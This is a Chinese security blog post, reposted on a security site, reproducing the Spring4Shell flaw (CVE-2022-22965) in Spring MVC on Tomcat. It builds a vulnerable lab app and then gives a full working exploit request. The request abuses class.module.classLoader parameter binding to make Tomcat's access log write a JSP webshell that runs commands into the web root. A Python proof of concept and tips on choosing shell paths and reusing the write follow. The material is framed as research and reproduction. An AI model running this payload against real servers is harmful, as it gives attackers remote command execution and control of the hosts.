Spring4Shell复现从0到1 - CVE-2022-22965

admin 2022年4月9日17:47:00安全文章评论173 views7036字阅读23分27秒阅读模式

    攻击者构造了恶意的SpringMVC参数绑定对象数据包,导致系统变量覆盖,获取AccessLogValve 对象并注入恶意字段值触发 pipeline 写入shell文件。

Spring4Shell复现从0到1 - CVE-2022-22965

影响范围:

  • spring-beans版本5.3.0 ~ 5.3.17、5.2.0 ~ 5.2.19

  • JDK 9+

  • Apache Tomcat

  • 传参时使用参数绑定


一、SpringMVC环境搭建

idea中创建SpringMVC项目

Spring4Shell复现从0到1 - CVE-2022-22965

勾选Spring Web依赖

Spring4Shell复现从0到1 - CVE-2022-22965

添加SpringMVC框架

Spring4Shell复现从0到1 - CVE-2022-22965

Spring4Shell复现从0到1 - CVE-2022-22965

配置 web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
        version="4.0">
   <servlet>
       <servlet-name>springMVC</servlet-name>
       <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
       <!--如果不配置contextConfigLocation,默认加载的是/WEB-INF/servlet名称-serlvet.xml(springmvc-servlet.xml-->
       <init-param>
           <param-name>contextConfigLocation</param-name>
           <param-value>WEB-INF/springMVC.xml</param-value>
       </init-param>
       <load-on-startup>1</load-on-startup>
   </servlet>
   <servlet-mapping>
       <servlet-name>springMVC</servlet-name>
       <!-- 所有请求将被拦截,包括静态文件,所以需要放行 -->
       <url-pattern>/</url-pattern>
   </servlet-mapping>
</web-app>

配置 springMVC.xml

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
      xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xmlns:context="http://www.springframework.org/schema/context"
      xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd">
   <bean class="org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping" />
   <bean class="org.springframework.web.servlet.mvc.SimpleControllerHandlerAdapter" />
   <bean class="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"/>
   <bean class="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter"/>
   <context:component-scan base-package="com.example.spring4shell.controller"/>
</beans>

pom.xml 引入漏洞组件,并指定到受影响版本 spring-beans:5.3.17 >= version

<dependency>
   <groupId>org.springframework</groupId>
   <artifactId>spring-beans</artifactId>
   <version>5.3.17</version>
</dependency>

代码如下(参数绑定功能)

package com.example.spring4shell.controller;

import com.example.spring4shell.modle.Person;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class RunController {
   @RequestMapping("/run")
   public String Run(Person per){
       return per.getName();
  }
}
package com.example.spring4shell.modle;

public class Person{
   private String name;
   private int age;

   public int getAge(){
       return age;
  }

   public String getName(){
       return name;
  }

   public void setAge(int age){
       this.age = age;
  }

   public void setName(String name){
       this.name = name;
  }
}

配置 tomcat 以该方式启动

Spring4Shell复现从0到1 - CVE-2022-22965

接口成功被调起运行

Spring4Shell复现从0到1 - CVE-2022-22965

二、漏洞利用

数据包如下,请求该接口,生成 shell.jsp 小马

POST /run HTTP/1.1
Host: 172.20.12.110:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
X-Requested-With: XMLHttpRequest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.10.128:8080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=EDD95D704336C807D0EB1A404D1D1BB9
Connection: close
suffix: %>
prefix: <%
Content-Length: 676

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25{prefix}ijava.io.InputStream+in+%3d+Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()%3bint+a+%3d+-1%3bbyte[]+b+%3d+new+byte[4096]%3bout.print("</pre>")%3bwhile((a%3din.read(b))!%3d-1){+out.println(new+String(b))%3b+}out.print("</pre>")%3b%25{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=./webapps/ROOT/&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

访问小马地址,执行命令成功

Spring4Shell复现从0到1 - CVE-2022-22965

三、Debug攻击链

JavaBean是一种规范,JavaBean属性是根据方法名推断出来的,它根本看不到java类内部的成员变量。

如下,JavaBean会认为你有4个成员变量id name pass class

public class Test {
   private String id;
   private String name;

   public String getPass() {
       return null;
  }


   public String getId() {
       return id;
  }

   public void setId(String id) {
       this.id = id;
  }

   public String getName() {
       return name;
  }

   public void setName(String name) {
       this.name = name;
  }
}

在Java中所有的对象都会默认继承Object基础类;如未赋值 stopClass 会使得访问该类的同时访问到Object.class,所以会找到 class 属性。

BeanInfo getBeanInfo(Class beanClass)
BeanInfo getBeanInfo(Class beanClass, Class stopClass)

springMVC传进参数进行数据绑定的时候存在变量覆盖问题,当判断为Array时会直接调用Array.set,由此绕过了set方法,直接调用底层赋值。CVE-2010-1622之前的补丁,class.classLoader危险函数过滤掉了,Java9可以用class.module.classLoader调用,恰好绕过。

Spring4Shell复现从0到1 - CVE-2022-22965


利用Tomcat的AccessLogValue,写日志方式getshell https://tomcat.apache.org/tomcat-8.5-doc/config/valve.html

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25{prefix}i小马代码%25{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=./
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

BeanWrapperImpl#getLocalPropertyHandler处下断点,循环读取出key值

Spring4Shell复现从0到1 - CVE-2022-22965

AbstractNestablePropertyAccessor#processLocalProperty,获取value值

Spring4Shell复现从0到1 - CVE-2022-22965

BeanWrapperImpl#setValue,将value写入日志

Spring4Shell复现从0到1 - CVE-2022-22965

四、POC编写

公众号回复 spring4shell 获取poc下载地址

python3 CVE-2022-22965.py http://127.0.0.1:8080/接口地址  dnslog.com

context中configFile属性可发出http请求,可通过dnslog断漏洞是否存在

import requests
import sys

head = {
   'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0',
   'Accept-Encoding': 'gzip, deflate',
   'Accept': '*/*',
   'Connection': 'close',
   'Content-Type': 'application/x-www-form-urlencoded',
   'Content-Length': '263',
}

def exec():
   data = 'class.module.classLoader.resources.context.configFile=http://' + log + '&class.module.classLoader.resources.context.configFile.content.config=config.conf'
   try:
       requests.packages.urllib3.disable_warnings()
       urls = requests.post(url,headers=head,data=data,verify=False)
       if urls.status_code == 200:
           print("ok")
   except requests.exceptions.ConnectionError as e:
       print(e)

if __name__ == '__main__':
   try:
       url = sys.argv[1]
       log = sys.argv[2]
       exec()
   except Exception:
       print("CVE-2022-22965.py http://127.0.0.1:8080/接口地址 dnslog.com")

QA

1. springboot为什么不受影响?

springboot里的classloader叫appclassloader,虽然能变量覆盖,但没有利用链。

2. 如何突破只能写一次日志文件的限制?

在复现时发现每次启动项目只能写一次文件,解决这个问题方法可以修改fileDateFormat期日参数,可修改任意字符XXX,最后保存的文件名为shellXXX.jsp。

3. 如何找到路径写webshell

./webapps/系统项目名/   写入当前项目中。

./webapps/ROOT/       tomcat默认web目录。

./webapps/xxx/       如上传目录不存在,则会创建新目录,通过/xxx/shell.jsp访问

4. 写入shell后不断有日志写入怎么解决?

请求关闭写入日志payload

class.module.classLoader.resources.context.parent.pipeline.first.enabled=false


修复方式: https://mp.weixin.qq.com/s/P-NEJzUUjIyemkSe_RbicQ


公众号回复 spring4shell 获取poc下载地址

Spring4Shell复现从0到1 - CVE-2022-22965

原文始发于微信公众号(深空安全):Spring4Shell复现从0到1 - CVE-2022-22965

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月9日17:47:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Spring4Shell复现从0到1 - CVE-2022-22965 http://cn-sec.com/archives/891722.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: